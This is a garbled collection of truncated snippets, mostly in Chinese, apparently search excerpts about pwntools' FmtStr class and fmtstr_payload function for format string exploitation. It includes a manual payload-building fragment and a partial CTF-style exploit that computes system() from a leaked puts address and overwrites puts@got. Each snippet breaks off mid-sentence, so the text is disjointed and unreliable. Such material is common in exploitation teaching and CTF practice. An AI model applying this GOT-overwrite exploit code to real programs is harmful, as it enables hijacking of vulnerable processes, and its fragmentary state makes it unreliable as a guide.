其中，FmtStr提供了自动化的字符串漏洞利用。? execute_fmt (function)：与漏洞进程进行交互的函数；? offset (int)：你控制的第一个格式化程序的偏移量；? padlen (int)：在paylod之前添加的pad的大小；? numbwritten (int)：已经写入的字节数。fmtstr_payload则用于自动生成格式化字符串payload。? offset (int)...
payload += fmt(prev, (target >> i *8) &0xff,offset+ i) prev = (target >> i *8) &0xffreturnpayload payload = fmt_str(6,4,0x0804A028,0x12345678) 构建函数填入即可 当然也可以利用封装函数写入一个地址,上面的就写入大数 * pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果...
puts_offset = 0x05fcb0 system_addr = puts_addr - puts_offset + system_offset log.success('system addr : ' + hex(system_addr)) ## modify puts@got, point to system_addr #记得算偏移时候断点下在call的时候 payload = fmtstr_payload(7, {puts_got: system_addr}) print(payload) put('/bi...
It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns. If theoffsetparameter is not given, then t...
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